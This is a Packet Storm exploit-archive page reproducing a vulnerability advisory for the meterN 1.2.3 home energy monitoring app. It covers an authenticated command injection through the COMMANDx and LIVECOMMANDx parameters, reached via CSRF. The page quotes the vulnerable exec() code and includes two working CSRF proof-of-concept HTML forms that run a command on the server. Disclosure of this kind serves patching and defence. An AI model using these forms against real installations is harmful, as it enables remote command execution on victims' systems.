exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

meterN 1.2.3 Remote Command Execution

meterN 1.2.3 Remote Command Execution
Posted Dec 14, 2021
Authored by LiquidWorm | Site zeroscience.mk

meterN version 1.2.3 suffers from an authenticated remote command execution vulnerability.

tags | exploit, remote
SHA-256 | d03478d19f799c6fe12536a7b5353c838ea40fb8825294f625cab67028553daa

meterN 1.2.3 Remote Command Execution

Change Mirror Download
<!--

meterN v1.2.3 Authenticated Remote Command Execution Vulnerability


Vendor: Jean-Marc Louviaux
Product web page: https://www.metern.org
Affected version: 1.2.3 and 0.8.3.2


Summary: meterN is a set of PHP/JS files that make a -Home energy metering & monitoring- solution.
It accept any meters like : electrical, water, gas, fuel consumption, solar, Wind energy production
and so on. Sensors such as temperature or humidity are also accepted. The philosophy is: To keep it
simple, fast, with a low foot print to run on cheap and low powered devices.

Desc: The application suffers from an authenticated OS command execution vulnerability. This can be
exploited to execute arbitrary commands through the 'COMMANDx' and 'LIVECOMMANDx' POST parameters in
admin_meter2.php and admin_indicator2.php scripts. The application interface allows users to perform
these actions through HTTP requests without performing any validity checks to verify the requests.
This CSRF can be exploited to perform actions with administrative privileges if a logged-in user
visits a malicious web site.

---------------------------------------------------------------------------------------------------
/admin/admin_meter2.php:
------------------------

69: if (!empty($_POST['COMMANDx']) && is_string($_POST['COMMANDx'])) {
70: $COMMANDx = htmlspecialchars($_POST['COMMANDx'], ENT_QUOTES, 'UTF-8');
71: } else {
72: $COMMANDx = '';
73: }
...
...
108: if (!empty($_POST['LIVECOMMANDx']) && is_string($_POST['LIVECOMMANDx'])) {
109: $LIVECOMMANDx = htmlspecialchars($_POST['LIVECOMMANDx'], ENT_QUOTES, 'UTF-8');
110: } else {
111: $LIVECOMMANDx = '';
112: }
...
...
271: exec("$COMMANDx 2>&1", $datareturn);
...
...
303: exec("$LIVECOMMANDx 2>&1", $datareturn);

---------------------------------------------------------------------------------------------------

Tested on: Apache/2.4.10 (Raspbian)
Apache/2.4.46 (Win64)
Linux 4.9.67-v7+ GNU/Linux (armv7l)
Microsoft Windows 10 Home (10.0.19042 Build 19042)
PHP/7.2.33


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2021-5690
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5690.php


18.11.2021

-->


PoC #1:
-------

<html>
<body>
<form action="http://localhost/metern/admin/admin_indicator2.php" method="POST">
<input type="hidden" name="NUMINDx" value="1" />
<input type="hidden" name="INDNAMEx1" value="test" />
<input type="hidden" name="IDx1" value="1" />
<input type="hidden" name="COMMANDx1" value="calc" />
<input type="hidden" name="bntsubmit1" value="Test command" />
<input type="hidden" name="UNITx1" value="" />
<input type="submit" value="Incongruity" />
</form>
</body>
</html>


PoC #2:
-------

<html>
<body>
<form action="http://localhost/metern/admin/admin_meter2.php" method="POST">
<input type="hidden" name="METNAMEx" value="Conso" />
<input type="hidden" name="COLORx" value="962629" />
<input type="hidden" name="TYPEx" value="Elect" />
<input type="hidden" name="PRODx" value="2" />
<input type="hidden" name="PHASEx" value="1" />
<input type="hidden" name="SKIPMONITORINGx" value="" />
<input type="hidden" name="IDx" value="elect" />
<input type="hidden" name="COMMANDx" value="houseenergy -energy" />
<input type="hidden" name="PASSOx" value="100000" />
<input type="hidden" name="PRICEx" value="0.23" />
<input type="hidden" name="LIDx" value="elect" />
<input type="hidden" name="LIVECOMMANDx" value="calc" />
<input type="hidden" name="bntsubmit" value="Test live command" />
<input type="hidden" name="EMAILx" value="" />
<input type="hidden" name="WARNCONSODx" value="15000" />
<input type="hidden" name="NORESPMx" value="true" />
<input type="hidden" name="POAKEYx" value="" />
<input type="hidden" name="POUKEYx" value="" />
<input type="hidden" name="TLGRTOKx" value="" />
<input type="hidden" name="TLGRCIDx" value="" />
<input type="hidden" name="met_numx" value="1" />
<input type="submit" value="Incongruity" />
</form>
</body>
</html>
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close